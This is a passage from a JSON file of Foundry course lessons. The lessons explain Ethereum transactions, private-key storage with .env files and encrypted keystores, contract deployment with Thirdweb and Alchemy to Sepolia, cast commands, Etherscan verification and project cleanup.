running.\n\nIf an error message pops up about Solidity versions, just change both versions in the code to use the caret (^) symbol in order to allow use of the highest non-breaking version.\n\nOnce everything is set, it's time for the real thing. First, compile the scripts to be deployed and the simple storage contract using version 0.8.19.\n\n## Running Anvil\n\nIf we try to run the Forge script without Anvil, Foundry will automatically deploy the contract or run the script on a temporary Anvil chain.\n\nBut the beauty of Anvil comes in when we wish to simulate on-chain transactions. You can do this by passing an RPC URL when running the script. Once this is done, Anvil keeps records of previous deployments in case you need to refer to them.\n\nA final test is done by deploying the script to the blockchain. You use the `broadcast` command to send this out and also provide a private key to sign the transaction with.\n\nIf all goes successfully, you'll be greeted with the message \"on chain execution complete and successful\".\n\nHope this tutorial was insightful. Let's explore more in our next learning chapter!\n", + "updates": [] + }, + { + "id": "48917e07-fc94-487f-a44b-d6ad433b7094", + "number": 15, + "title": "What is a transaction", + "slug": "what-is-a-transaction", + "folderName": "15-what-is-a-transaction", + "description": "Exploration of blockchain transactions, including a detailed overview of transaction components, contract deployment, and data fields in Ethereum.", + "duration": 6, + "videoUrl": "56tWg7CUVrI", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/15-what-is-a-transaction/+page.md", + "markdownContent": "---\ntitle: What is a Transaction? But Actually\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Deep Dive into Blockchain Transactions\n\nLet's take a moment to really get to grips with what we're doing when we script and execute blockchain transactions. Many people find this element of blockchain to be a bit of a mystery, so let's pull the curtain back and lay out the steps and elements involved.\n\n## Exploring the Terminal\n\nIn your terminal, you'll see a few different directories. One of which is `dry run` - this is where files end up when there's no active blockchain. When a blockchain is running, the directories are divided by chain ID. Within these directories, such as `dry run` or `run latest`, you'll find detailed information about each transaction that has been executed. This includes information such as the transaction's hash, type, contract, name, address, and more.\n\nIn this section, we can see exactly what's being sent on the chain whenever we use our scripting commands - `forge script` or `forge create`.\n\nThis is the transaction we send to the RPC URL and it contains the relevant API data packaged for https POSTS. In this case, our transaction type is `2`. The `from` address refers to where the transaction is initiated from, and the `gas` is the hex value representing the computational effort the transaction requires.\n\n\n\nIncluded in the transaction is a `value` field. When you're deploying a contract, this is just another transaction; we can therefore add a value to it if we want. This value can be in the form of the Ethereum blockchain's native currency - Ether. To do this, you just add a `value` field followed by the amount you wish to transact. Note though, in solidity, the `value` option can't be set if the constructor isn't payable.\n\n## Contract Deployment and the Data Field\n\nLet's now focus on the data part of this transaction. In reality, this is the contract deployment code. But there's a bit more to it than that! It also contains the `nonce` value - a unique identifier that's used once for each transaction, and an access list (but we're not going to cover that in this post).\n\nIn addition to the details stored in the transaction, a couple of other values play a part that aren't stored here. These are the `r` and `s` values which are used to generate a signature that makes the transaction valid. When a transaction is sent, it is signed using your private key. This signature then forms part of the transaction data.\n\n\n\nIn terms of the `nonce` or nonce value mentioned earlier, this is managed by your chosen blockchain wallet. Every time a transaction is sent, it is given a nonce that increments after each transaction is sent. Finally, and critically, remember that any time you change the state of the blockchain you do so through a transaction. Each transaction contains an all-important data field, which includes 'opcodes' that tell the blockchain what you'd like it to do. In some cases, this might mean the creation of a new contract. In others, the data is merely associated with a basic transaction.\n\n## Conclusion\n\nThe world of blockchain transactions can seem complicated. By understanding these underlying processes, however, we can get a much richer understanding of how it functions. The powerful part comes when we understand the way transactions work when executing them with tools like Remix. It all comes down to that pivotal data field of a transaction!\n", + "updates": [] + }, + { + "id": "220b2276-4fbd-4acc-b754-6b5ca719684f", + "number": 16, + "title": "Important: private key safety pt.2", + "slug": "private-key-safety-part-2", + "folderName": "16-private-key-safety-ii", + "description": "Guide on private key safety for interacting with deployed contracts, covering command line interfaces, environment file setup, and secure coding practices.", + "duration": 11, + "videoUrl": "yhvxeP1Vkfc", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/16-private-key-safety-ii/+page.md", + "markdownContent": "---\ntitle: Private Key Safety II\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Interacting with Contract Deployment: Command Line Interface vs. Scripts\n\nHello and welcome back! In this blog post, we'll cover how to interact with deployed contracts on the blockchain. As we've learned previously, we have two methods at our disposal: running scripts and using the command line interface (CLI). In this article, we'll focus primarily on the latter.\n\nLet's get started!\n\n## Getting Started: Make Sure You're Deployed\n\nFirst, we need to confirm that our smart contract has been successfully deployed. From your terminal, bring up your deployment script by hitting the up arrow a few times, then run it again.\n\n## Interacting with Contracts via the Command Line\n\nBy now you may be familiar with Remix, a popular Ethereum IDE, and how it allows us to interact with our contracts by clicking buttons in its GUI. With the CLI, we interact with contracts in a similar manner but, in this case, by entering commands. However, using the CLI is just one of two ways we can interact with contracts.\n\n## Cleaning up the Command Line\n\nWe're going to make the contract interaction process a touch more efficient while also consolidating previously disparate actions. Often, we'd use Forge's command line interface (CLI) to interact with contracts, creating a new interactive CLI session each time and pasting our private key in when prompted. But we can streamline this.\n\nLet's clarify something here first:\n\n\n\n## Storing Private Keys Safely\n\nThe safer alternative is to first create a **.env** file to store what we call environment variables. These variables contain sensitive information, like your private key, which we don't want to expose publically. Adding private keys or other sensitive data to environment variables in your .env file avoids having to display them in your command line history or elsewhere accidentally.\n\nRemember though, only store test private keys in your .env file, never your actual private key.\n\nHere's a brief demonstration of how to do this.\n\n```bash\n private key = [your private key]\n RPC_URL = http://your_rpc_url\n```\n\nNow, we have to load these environment variables into our shell:\n\n```bash\n source .env\n```\n\nNow we can test out whether our environment variables were added successfully:\n\n```bash\n echo $PRIVATE_KEY\n echo $RPC_URL\n```\n\n## Secure Coding: The Next Step\n\nEven though we've made our command line cleaner by removing any direct input of private keys, there's still the worry of having our keys stored in plain text. That's why our next step towards secure coding involves using a keystore.\n\nA keystore is an encrypted file that contains your private key. You'll need a password to decrypt it.Foundry, a blockchain development toolset is in the process of adding a feature that allows developers to use keystores instead of exposing their private keys. Do check their GitHub repo to see the status of this feature.\n\nIn the meantime, it's essential to understand the step we've taken so far: using a .env file to store environment variables is acceptable for `_development_`. It is not the way to go for `_production_`.For production, you'd want to use Foundry's built-in interactive CLI to paste your key in, or use a keystore file with a password once Foundry integrates that function.\n\nSimply put:\n\n- **For Development**: Use environment variables\n- **For Production**: Use interactive CLI or a keystore file\n\n## The Env Pledge: Promote Secure Development\n\nThe `env` pledge is a set of rules focused on promoting secure development practices. It emphasizes using test private keys, ensuring private keys are not posted on any internet platform even momentarily, and taking immediate action if a key is potentially compromised. If you're _certain_ you won't be deploying anything to the mainnet or working with a private key that holds real funds, you can rest easy. But remember, as developers, it's our responsibility to approach key management with utmost caution.\n\nFeel free to share these valuable pledges with other developers on various platforms. The more people aware of these, the better.\n\nI hope this blog post has helped you understand the crucial aspect of interacting with your contracts securely and efficiently. Remember, you're responsible for managing these keys safely, so follow this guide to ensure you're doing it right!\n", + "updates": [] + }, + { + "id": "8495d240-3ad3-4d6f-8b88-367728ea4b9a", + "number": 17, + "title": "Never Use A Env File", + "slug": "never-use-a-env-file", + "folderName": "17-never-use-a-env-file", + "description": "In this lesson we'll finally rid ourselves of risky development practices and learn to employ methods to properly safeguard our private keys. Move past .env variables and never mistakenly compromise yourself again.", + "duration": 0, + "videoUrl": "", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/17-never-use-a-env-file/+page.md", + "markdownContent": "---\ntitle: Third Web Deploy\n---\n\n_Follow along the course with this video._\n\n---\n\n# Moving Beyond Environment Variables\n\nA while back, I showed you a method where we utilized an environment variable (.env) to store private keys. However, times have evolved and we've acquired a much safer way to manage and protect those keys. This method involves using the Foundry's built-in ‘**cast**’ command which allows you to work with an encrypted version of the private key, thus avoiding any raw, plain-text encounters. If you're seeking a security review or an audit, and you still have a .env example left hanging around in your git repo, well, prepare yourself for a swift rejection.\n\n## Why Moving Away From Plain Text Keys is Crucial\n\nPreviously, I showed you how to use an Ethereum Private Key RPC URL and Etherscan API key as environment variables. We know, however, that plain texts can be precarious - you might accidentally push this critical piece of information to GitHub, or worse, disclose it in your terminal inadvertently.\n\n\n\nTherefore, it is extremely important to ensure the security of your private keys and never leave them open in the text format.\n\n## Solution: Encrypting your Keys Using ERC2335\n\nThe solution to this issue lies in the use of ERC2335. This is nothing but a nifty system that enables us to convert private keys into a secure JSON format.\n\nLet’s assume that your private key is the same as the default key that comes along with the Anvil development package. On running Anvil, you receive an output where you can locate said key.\n\nOnce you have your key, from your terminal, go ahead and run the following command:\n\n```bash\ncast wallet import defaultKey --interactive\n```\n\nA highly recommended practice is **not** to run this in Visual Studio Code, but directly within your terminal or shell instead. This maneuver launches an interactive shell where you can safeguard your details. You may copy-paste your private key here. At this point of execution, you are required to enter a password, which you need to remember whenever you need to use this private key.\n\nOn successful implementation, you will be provided with this message: `default Key store was saved successfully` and you will receive an address.\n\nBefore, we fed our private key directly into our terminal and used a make file to make the operation appear easier. With our private key now securely stored and encrypted in our cast, we can verify its presence using:\n\n```bash\ncast wallet list\n```\n\nAfter this, you can use the following command to run our default script:\n\n```bash\nforge script script/DeployFundMe.s.sol:DeployFundMe --rpc-url http://localhost:8545 --account defaultKey --sender 0xf39...--broadcast -vvvv\n```\n\n\n\nThe term 'private key' in this command is replaced with `account defaultKey --sender.` You still however need to copy-paste the address of the sender, AKA the address associated with the private key.\n\nA piece of advice to remember is that anytime you see your private key in plain text, your brain should give off alarm bells. And anytime you have the urge to reveal your private key, you must think twice. Even if you are using a development private key like in this course, when you start to work with real money, I highly encourage you to stick to the encrypted process.\n\nOnce you encrypt your private key, your objective should be to then never revisit it. Always remember, the chances of implications multiply significantly, anytime you expose your private key. Unfortunately, there is still no full-proof method to completely avoid revealing private keys but we can surely minimize the risk by exposing it the least number of times possible.\n\n## Conclusion\n\nTo simplify things to the best level possible, avoid using .env files to store your private key. Instead, opt for encrypting it with **cast wallet import**. While you are at it, use a password or a password file for added security and delete the key from your history after you use it. This would ensure that your private key, especially those with real money associated, are protected most effectively.\n\nFinally, let's take a moment to appreciate the contribution of the people who were instrumental in making Foundry a reality, making our lives as developers easier and more secure.\n\nStay safe, and until next time, happy coding!\n", + "updates": [] + }, + { + "id": "5b0806c9-eb4f-4258-aa8c-f5f8e89b32cb", + "number": 18, + "title": "Deploy a smart contract using Thirdweb", + "slug": "thirdweb-deploy", + "folderName": "18-thirdweb-deploy", + "description": "Introduction to deploying smart contracts using Thirdweb, including benefits, ease of use, and features for secure and efficient contract deployment.", + "duration": 5, + "videoUrl": "6dfV-0Hwft8", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/18-thirdweb-deploy/+page.md", + "markdownContent": "---\ntitle: Third Web Deploy\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Secure Contract Deployment with Third Web\n\nWhen developing on a blockchain, you inevitably come across challenges – like managing private keys in plaintext – that can potentially compromise the security of your solution. Third Web Deploy, a product of Third Web, offers a hassle-free and secure solution to such challenges.\n\nKira from the Third Web team has provided a comprehensive overview of how Third Web can help you effortlessly deploy contracts on any EVM chain that you prefer. For those unfamiliar with the `npx` command, it comes pre-bundled with the node.js and NPM installation. You can refer to our GitHub repository to learn more. Now, let's dive into Kira’s explanation.\n\n\n\n## Easy Contract Deployment with a Single Command\n\nTo deploy a contract, generally, you would need to set up hardcoded private keys as well as RPC URLs, and they need some level of scripting. However, with Third Web, you can surpass all these tedious steps for deployment. Since you're not exporting your private key in this process, it enhances your contract's security significantly.\n\nThe deployment process happens through a dashboard UI, enabling you to manage everything right from your wallet. Let's walk through the process of deploying contracts with Third Web.\n\n## Deploying Contracts with Third Web\n\nSuppose you have already cloned a repository, or maybe you've written your contract. This could be any contract; for this walkthrough, I've cloned a simple storage contract.\n\nFor this contract, there's no `.env` file, no RPC URL setup, and I haven't exported my private key. This is one of the fantastic aspects of Third Web - there is absolutely no pre-installation needed, no dependencies whatsoever, making the entire process much more straightforward and less time-consuming.\n\nTo commence the deployment, all you need to do is run the simple command `npx thirdweb deploy`.\n\n## What Happens When You Deploy\n\nOn executing this command, Third Web will ascertain the project type, compile contracts, and permit you to choose the contract you wish to deploy. In this demonstration, I am deploying a simple storage contract.\n\nThis action leads to the contract metadata getting uploaded to IPFS, resulting in automatic contract verification. For those interested in a more in-depth explanation of this mechanism, please visit the [Third Web Developer Docs](https://portal.thirdweb.com/deploy).\n\n\n\nFollowing these steps, a browser tab will open where you can deploy your contract through a front-end interface. In circumstances where construct params are required (they aren't in this case), you'll be able to fill them out directly.\n\nNext, you select the chain you wish to deploy to. Third Web supports all EVM networks, from the popular ones like Base to custom networks if they aren't listed already. In this case, I selected the Mumbai network for deployment.\n\nThis process triggers two transactions – one, a transaction to deploy the contract, and two, a gasless message that you sign. This message adds your contract to your dashboard, providing a user-friendly interface to interact with the contract, very similar to Remix.\n\nOnce these transactions are completed, your contract is successfully deployed, as simple as that!\n\n## Navigating Third Web's Dashboard\n\nOn successful deployment, the contract address will be visible, which you can copy for future use. The dashboard also offers several features for easy contract management:\n\n- The **Build tab** facilitates effortless front-end interface creation for contracts with easy-to-use hooks in various languages.\n- The **Explorer tab** allows the view and modifies the read and write functions of your contract—essentially, all functions you have in your contract are listed here.\n- You can monitor the events related to your contract and even access the source code.\n\n\n\nIn a nutshell, Third Web provides a swift, easy, and secure way to deploy contracts. It's a one-stop-shop for your web three development needs with multiple language SDKs, prebuilt contracts, and a solid infrastructure for all your web three development requirements.\n\nFor more information, visit [Third Web](https://www.thirdweb.com/) or refer to their detailed [Documentation](https://docs.thirdweb.com/).\n\n\n", + "updates": [] + }, + { + "id": "1acf7564-9d3d-40b9-8baf-e867f61a589e", + "number": 19, + "title": "Interact with a smart contract using the CLI", + "slug": "interact-with-smart-contract-cli", + "folderName": "19-cast-send", + "description": "Comprehensive guide on interacting with smart contracts using CLI and Foundry's Cast tool, detailing command usage for sending transactions and reading blockchain data.", + "duration": 4, + "videoUrl": "-qH4FuEUcZ8", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/19-cast-send/+page.md", + "markdownContent": "---\ntitle: Cast Send\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Interacting With Contract Addresses via Command Line & Foundry's Cast Tool\n\nWhere you new to blockchain or you're just looking to grasp an in-depth understanding of sending transactions and calling functions on a contract through the command line, this article has got you covered.\n\nIn this piece, we will be exploring how to interact with these contracts, beginning with the command line interaction, and later extending that to scripts. Initially, we will interact with our deployed contract called **SimpleStorage contract** using private keys that is set as an environment variable.\n\n## Using Foundry's Cast Tool\n\n\n\nFoundry has an in-built tool known as the **Cast**. Cast comes loaded with numerous commands to interact with. One such useful command is **'send'** which is designed to sign and publish a transaction. To view help about **'send'**, type `cast send --help`. You will see that the 'send' syntax uses two arguments, namely, signature and the arguments.\n\n_The signature_ is essentially the identifier and docker of the function and its input types whereas _the arguments_ is the data you want to pass to the function.\n\n### Example: Using Cast tool to Interact with Simple Storage Contract\n\nSay, we have our simple storage contract and we deployed it. If we wanted to call our `store` function and send a transaction, we would just add some numbers and then click 'store'. However, if we want to call `store` from the command line, we can do it by passing the address we want, the signature and our desired values to pass to our `store` function.\n\nHere's an example of how you'd use the `cast send` function:\n\n```bash\ncast send
store(uint256) \n```\n\n\"_Remember, the function should be followed by its input types in parentheses, and then the values that you want to pass in._\"\n\nThis command won't run immediately as we need to add our private key and RPC URL. So, let's do that. With the command **RPCCast**, the RPC URL can be added. Let's add our private key, too, just after the `RPC URL`.\n\nWith the correct command, we'll get a bunch of data about our transaction back. We'll get the `block hash`, `block number`, `Contract address`, `Logs`, and the `transaction hash`.\n\n### Using Cast Call to Read the Blockchain\n\nThe Cast tool also provides a `call` function which reads off the blockchain. `cast call --help` will reveal that `call`, like `send`, takes two signature and arguments.\n\nThe main difference between them, however, is that `call` is like pressing a view function button - it's not actually sending a transaction.\n\nHere’s an example:\n\n```bash\ncast call
retrieve()\n```\n\nWe should get the hex value back from the executed command. From here, we need to convert the hexadecimal back to decimal using the `cast --to-base` function.\n\n```bash\ncast --to-base decimal\n```\n\nYou can see we get back the same numbers, which we've stored on the chain.\n\n## Updating Stored Values\n\nIf you decide to change the stored values, let's say from 123 to 777, you would send that transaction using the `send` command. Then call the `retrieve` function using the `cast call` like earlier. You should see the new number returned to you in the hexadecimal format. Simply convert the hexadecimal format back to decimal format, and voila - you've successfully interacted with your contract.\n\n```bash\ncast send
store(uint256) 777\n```\n\nFollowing this comprehensive guide, you can start interacting with your contracts from the command line smoothly and eventually with scripts. It's worth noting, this same approach can be used to interact with contracts on an actual test net or on an actual main net.\n\nHappy Contract Interactions!\n", + "updates": [] + }, + { + "id": "c230292c-5fc1-4d55-9a2e-b86a2413ff0b", + "number": 20, + "title": "Deploying a smart contract on testnet (Sepolia)", + "slug": "deploying-smart-contract-testnet-sepolia", + "folderName": "20-deploying-to-a-testnet", + "description": "Step-by-step tutorial on deploying smart contracts to Ethereum's Sepolia testnet using Foundry and Alchemy, including setting up RPC URLs and private keys.", + "duration": 6, + "videoUrl": "PTUk1XPPwdA", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/20-deploying-to-a-testnet/+page.md", + "markdownContent": "---\ntitle: Deploying to a Testnet\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Deploying our Contract to Testnet or Live Network with Foundry and Alchemy\n\nHi, everyone! Are you curious about what your contract would look like on a testnet or a live network? If so, buckle up because this blog post will cover exactly that! We'll walk through the process of updating our Environment Variable (.env) file for an actual testnet.\n\nClearly, we need an actual testnet for a real network. But our trusty Metamask has built-in Infura connections that are incompatible. Why? Because they're tailored specifically for MetaMask. Hence, we need our own Remote Procedure Call (RPC) URL.\n\n## Creating our Own RPC URL for a Testnet\n\n_To create one, we could run our own blockchain node, but let's be honest — many folks prefer avoiding that route. Instead, we utilize Node as a Service (NaaS) applications to expedite the process._\n\nOne promising option is using Alchemy - a free NaaS platform that we can send the transactions to. This procedure resides within the _Deploying to Testnet or Mainnnet_ section in the full course repo of the Foundry.\n\n\n\nTo access the Alchemy platform, we simply click on the aforementioned function. On the platform, we sign up (I used Google sign-in for this demo).\n\nOur next step is creating a new app in the Alchemy user interface. I named mine _Sepolia Testing_ and kept the description the same, given that our chain will be an Ethereum one based on Ethiopia.\n\nWe can bypass advanced features for now and finalize our app. Now we have the app details needed for our node, including frequency of calls and other details. We also have a new https endpoint by clicking view key, which functions exactly the same way as our ganache or MetaMask endpoint.\n\n## Altering our Private Key\n\nNext, let's do something about our private keys. Our ganache private key will no longer cut it — it has neither real money nor any testnet ETH in it.\n\nOur solution is to use one of our MetaMask private keys. To do this, we switch back to Sepolia in our MetaMask, choose an account with money in it, click on account details, and export the private key. _Remember, never share your real private key!_\n\nUpon confirmation with your password, copy the private key and omit the line in the env file — hashtag or pound sign denoting comments.\n\n## Executing the Transaction\n\nWith our Sepolia RPC URL and private key from MetaMask, executing a transaction now becomes tremendously easier.\n\n```bash\nsource .env\nforge script script deploySimpleStorage.s.sol --rpc_url=$Sepolia_RPC_URL --private-key=$private_key --broadcast\n```\n\nThis command deploys our contract to the testnet, and we can monitor the transaction on our Alchemy dashboard.\n\nWe soon find that our contract, Simple Storage, has been deployed on the Sepolia chain. We can grab our transaction hash and input it into Sepolia etherscan IO to confirm the successful transaction.\n\nAfter we refresh our Alchemy dashboard, we'll verify the requests sent and track the ETH send raw transaction that transmitted our transaction to the blockchain.\n\nSo, this is how we deploy our contract on a real testnet leveraging Foundry and Alchemy!\n\nOur next step will explore adding real-world components to the mix. Stay tuned!\n", + "updates": [] + }, + { + "id": "2674ff49-7364-4444-a9a0-7d5fed16a387", + "number": 21, + "title": "Verify a smart contract on Etherscan", + "slug": "verify-smart-contract-etherscan", + "folderName": "21-manual-verification", + "description": "Guide on verifying Ethereum smart contracts on Etherscan, covering manual verification steps and the importance of contract readability and accessibility.", + "duration": 2, + "videoUrl": "JwYz5kj4FdI", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/21-manual-verification/+page.md", + "markdownContent": "---\ntitle: Manual Verification\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n# Verifying Your Ethereum Smart Contracts: A Step-by-Step Guide\n\nEthereum smart contracts are powerful tools for decentralized applications. However, they can seem a bit intimidating when viewed in their raw form, especially for beginners. Today, we're exploring how to navigate these waters by inspecting and verifying smart contracts on Etherscan, a blockchain explorer.\n\nWhen working with Ethereum smart contracts, you'll often come across what seems like an overwhelming bunch of bytecode when examining the contract on Etherscan. Let's fix that.\n\n## The Raw Contract: A Bytecode Jungle\n\n\n\nAs you dive into your smart contract on Etherscan, you'll be greeted by the contract's bytecode. This usually appears as a jumbled mass of non-readable code, making it challenging to understand the contractual logic contained within.\n\n## Verifying Your Smart Contract: The Hard Way\n\nHere's a step you can take to make the contract more readable; verify the contract. I'll show the hard and manual way first, and then follow up with a simpler, more streamlined method.\n\nTo manually verify a contract on Etherscan or other Block Explorers, follow these steps:\n\n1. Navigate to the 'Verify' option.\n2. Select 'Solidity' as the contract's language.\n3. Since this is a single file contract, choose 'Single File'.\n4. The compiler version we're using for this demonstration is 0.8.19, and our open-source license is MIT. Fill these details accordingly.\n5. Click 'Continue'.\n\nNow, you'll need to copy the entire contract from your 'SimpleStorage.sol' file, paste it in the appropriate dialogue box, select 'Optimization' as 'Yes', and then verify that you're not a robot.\n\n\n\nEnsure that you leave the boxes for constructor ARGs, contract library addresses, and miscellaneous settings blank. Once done, click 'Verify and Publish'.\n\nAt this stage, the verification process can get a little tricky. But if done correctly, if you click on your contract address, navigate to 'Contract', and then scroll down, the previously unapproachable code is now readable in Etherscan.\n\nBesides making the code legible, this process also provides access to the 'Read' and 'Write' contract buttons, and you can interact with your contract directly from Etherscan or elsewhere.\n\n\n\n## Verifying Your Smart Contract: The Easy Way\n\nThe manual verification method outlined above can be full of pitfalls. That’s why it's not a recommended method. Instead, I encourage you to conduct programmatic verification of your contracts which removes these barriers - a method I'll be teaching in the near future.\n\nIn the end, verifying your contracts makes working with Ethereum smart contracts significantly more manageable and understandable. Whether you’re a veteran Ethereum developer or a newcomer to the space, having a clear understanding of your contracts is essential for building secure, efficient, and effective decentralized applications.\n\nRemember, Ethereum smart contracts, with their powerful capabilities, form the beating heart of any DApp. So it's critical to learn how to navigate, inspect, and verify your contracts to ensure they are error-free and function as intended. Happy coding!\n", + "updates": [] + }, + { + "id": "8df7e063-f1a6-4a5d-8bdd-d9b201f5b5dc", + "number": 22, + "title": "Cleaning up the project", + "slug": "cleaning-up-the-project", + "folderName": "22-cleaning-up", + "description": "Tutorial on cleaning up a coding project, emphasizing formatting consistency using Forge and crafting an informative README file with Markdown.", + "duration": 3, + "videoUrl": "oqSxjeEy8CU", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/22-cleaning-up/+page.md", + "markdownContent": "---\ntitle: Cleaning Up\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Mastering a Basic Coding Project: Formatting and README files\n\nHello, we've covered a lot, and are rounding the corner to completion. As we look to wrap things up, let's focus on a couple of aspects that are essential for rounding out any project: Formatting and README files.\n\n## Formatting for Consistency\n\nIn this project, we've been using the powerful tool - Vs code auto-formatter to automatically format our code. This saves us tedium and ensures a consistent style throughout our files. But what happens when someone else comes to our codebase? We want them to apply formatting that aligns with our style. For this, we can use the `forge format command`.\n\nWhen we run `Forge format command`, our code reformats according to predefined rules. This command ensures that all our solidity code adheres to a consistent style.\n\n```bash\nforge fmt\n```\n\nYou'll notice upon running this command that your code moulds itself into a neat and tidy format. Try it out - save without formatting, run the command, and watch your code auto-formatted right before your eyes.\n\n## Crafting a README\n\nEvery code repository isn't complete without a readme. If you want to contribute to open source, you'll find this file in almost every single repo. Your next stop, therefore, should be creating a `README.md` file. We create this by clicking on `right click new file` and then typing `README.md`.\n\nIn this all-important file, you document critical information about your project: what it's about, how it works, instructions for collaborating, contact details, so on.\n\n```bash\ntouch README.md\n```\n\n\n\nTake a look around. README files also contain notes and other bits of important information. I had jotted down some notes about private key usage in my README. Although it's no longer needed, so we'll just delete that for now.\n\nWhile this project isn't headed for GitHub, it's crucial to remember that the README is an invaluable addition when you push your code to platforms like GitHub. We'll get into this more in our next project, where I'll guide you through using version control systems and repositories.\n\n## Marvel at Markdown\n\nREADME files make use of 'Markdown' syntax, a text-to-HTML conversion tool for web writers. Do you remember when we discussed using Markdown syntax to field questions? Guess what, we're back at it again!\n\nA quick run-through: To use markdown in our README, we can use a `#` for headlines, and simple text entry for regular lines. Here's a sneak peek:\n\n```markdown\n# HelloSome text here\n```\n\nTo view what this looks like in HTML form, we can install a handy extension such as 'Markdown all in one' or 'Markdown Preview'.\n\n```bash\nCommand Shift P > View command palette > Markdown preview > Open preview\n```\n\nThis combination gives us a preview replicating how the document might look like on GitHub.\n\n\n\nYou will notice that the headline \"Hello\" is big and bold, while \"Some text here\" retains regular formatting. Moreover, you can add 'backticks' to format a line as code.\n\n```\n `code here`\n```\n\n\n\nPro-tip: A quick `Command Shift V` (or `Control Shift` for Windows and Linux users) opens up Preview mode.\n\n\n\nThat's all for now! Remember, formatting and a well-documented README are integral to any project - big or small. Stay tuned for more tips, tricks, and insights into the exciting world of coding. Happy Coding!\n", + "updates": [] + }, + { + "id": "c36079de-f431-4182-a2e2-da18aa6adbb7", + "number": 23, + "title": "Introduction to Alchemy", + "slug": "introduction-to-alchemy", + "folderName": "23-alchemy-mempool", + "description": "Introduction to Alchemy, a developer platform for Web3 applications, covering its features, benefits, and steps to create an account and use its services.", + "duration": 12, + "videoUrl": "HehY5DCtPWc", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/23-alchemy-mempool/+page.md", + "markdownContent": "---\ntitle: Alchemy & The Mempool\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Alchemy: A Game Changer for Decentralized Application Development\n\nInnovation in the blockchain industry has come a long way, with powerful tools making their way into the ecosystem to support developers and bring efficiency to their workflows. Among these tools is Alchemy, and today we have Vito, the lead developer experience at Alchemy, to walk us through the platform, its features, and how you can leverage it to exponentially increase your productivity.\n\n## What is Alchemy?\n\nAlchemy is a platform equipped with APIs, SDKs, and libraries to enhance your developer experience while working on Web3 projects. Think of Alchemy as the AWS of Web3. It functions as a node provider and developer tooling platform predominantly used in thousands of Web3 and Web2 applications, including large Web2 corporations like Adobe, Shopify, and Stripe.\n\nThe need for platforms such as Alchemy arises from the fact that, as a developer, you don't usually have to worry about running the servers your code operates on or developing the deployment and integration pipelines for your application. Instead, you use services such as AWS, Azure, and Google Cloud for that—Alchemy does the same but for Web3.\n\n## How Does Alchemy Work?\n\nAlchemy enhances your developer experience through a combination of features. The platform's primary component is the _Supernode_, a proprietary blockchain engine that works as a load balancer on top of your node.\n\nLike its name suggests, the Supernode ensures data from the blockchain is always up-to-date and readily available. Using the Supernode as a foundation, Alchemy has built the _Enhanced APIs_—a set of APIs that makes pulling data from the blockchain a breeze.\n\nTo put it simply, the Alchemy Supernode sits at the core of its ecosystem, powering up functionalities like Enhanced APIs and monitoring tools while supporting multiple chains.\n\nWhat follows is a step-by-step guide on how to create a new account on Alchemy and leverage this platform to its full extent:\n\n## Creating a New Account on Alchemy\n\nCreating an account on Alchemy is not only easy but also completely free. You can also freely scale your applications up using the platform's generous premium plans.\n\n#### Step 1: Navigate to Alchemy.com\n\nHead over to [Alchemy.com](https://www.alchemy.com/) and create a new account.\n\n#### Step 2: Create a New Application\n\nOnce you have signed in, create a new application.\n\nNext, give your application a name and a description. Then, select a chain and network. Alchemy currently supports the majority of EVM-compatible chains, including:\n\n- Ethereum\n- Polygon (POS)\n- Zkevm\n- Optimism\n- Astar\n- Solana (non-EVM chain)\n\n## The Application-Specific Dashboard\n\nOnce your application is up and running, you will have access to the application-specific dashboard. This dashboard provides crucial insights into your application and infrastructure health, such as latency, compute units, and transaction success rate, which can be valuable for debugging and identifying issues.\n\nIf you observe a lower success rate for your transactions, go to the \"Recent Invalid Request\" tab. This will list all unsuccessful requests along with the reasons for their failure, making it easier for you to debug and fix issues.\n\n\n\n## Mempool Watcher\n\nAnother powerful tool provided by Alchemy is the Mempool watcher. Picture it as Ethereum's mempool, where all pending transactions reside waiting for validation or mining.\n\nThe Mempool watcher provides extensive details about your transactions, such as:\n\n- Transaction status (mined, pending, dropped, replaced)\n- Gas used\n- Time taken for validation\n- Transaction value\n- Sender's and receiver's address\n\nThis detailed transaction tracking allows you to have a better understanding of each transaction and aids immensely in debugging specific issues related to individual transactions.\n\n## Wrapping Up\n\nTo sum up, Alchemy is a revolutionary platform that brings a plethora of tools to aid your Web3 development experience. From Supernode to Enhanced APIs and crucial troubleshooting tools, Alchemy is undeniably a game changer in the world of decentralized applications.\n\n\"Alchemy can be a powerful asset to any blockchain developer, offering a simplified experience in an inherently complicated Web3 environment.\" – Vito, Lead Developer Experience at Alchemy.\n\nVito suggests that you check out Alchemy's [documentation](https://docs.alchemy.com/) to explore more about the platform, its APIs, SDKs, libraries, and tools. Also, don't forget to follow them on Twitter at [@AlchemyPlatform](https://twitter.com/alchemyplatform) and [@AlchemyLearn](https://twitter.com/alchemyLearn). And if you want to connect directly with Vito, feel free to reach out to him on Twitter at [@VitoStack](https://twitter.com/VittoStack).\n\nAlchemy is revolutionizing the landscape of blockchain development and making it more accessible and efficient for everyone involved. Happy building with Alchemy!\n", + "updates": [] + }, + { + "id": "56e13acc-9c52-46bd-adc3-bf8d138c100b", + "number": 24, + "title": "Wrap up, congratulations!", + "slug": "summary-congratulations", + "folderName": "24-summary-congratulations", + "description": "Summary and congratulations on completing the Foundry project, highlighting key learnings, tools used, and encouraging continued learning and coding practice.", + "duration": 3, + "videoUrl": "kj-E0_uO9i0", + "rawMarkdownUrl": "/routes/foundry/1-foundry-simple-storage/24-summary-congratulations/+page.md", + "markdownContent": "---\ntitle: Summary & Congratulations\n---\n\n_Follow along the course with this video._\n\n\n\n---\n\n## Celebrating Milestones in Foundry: A 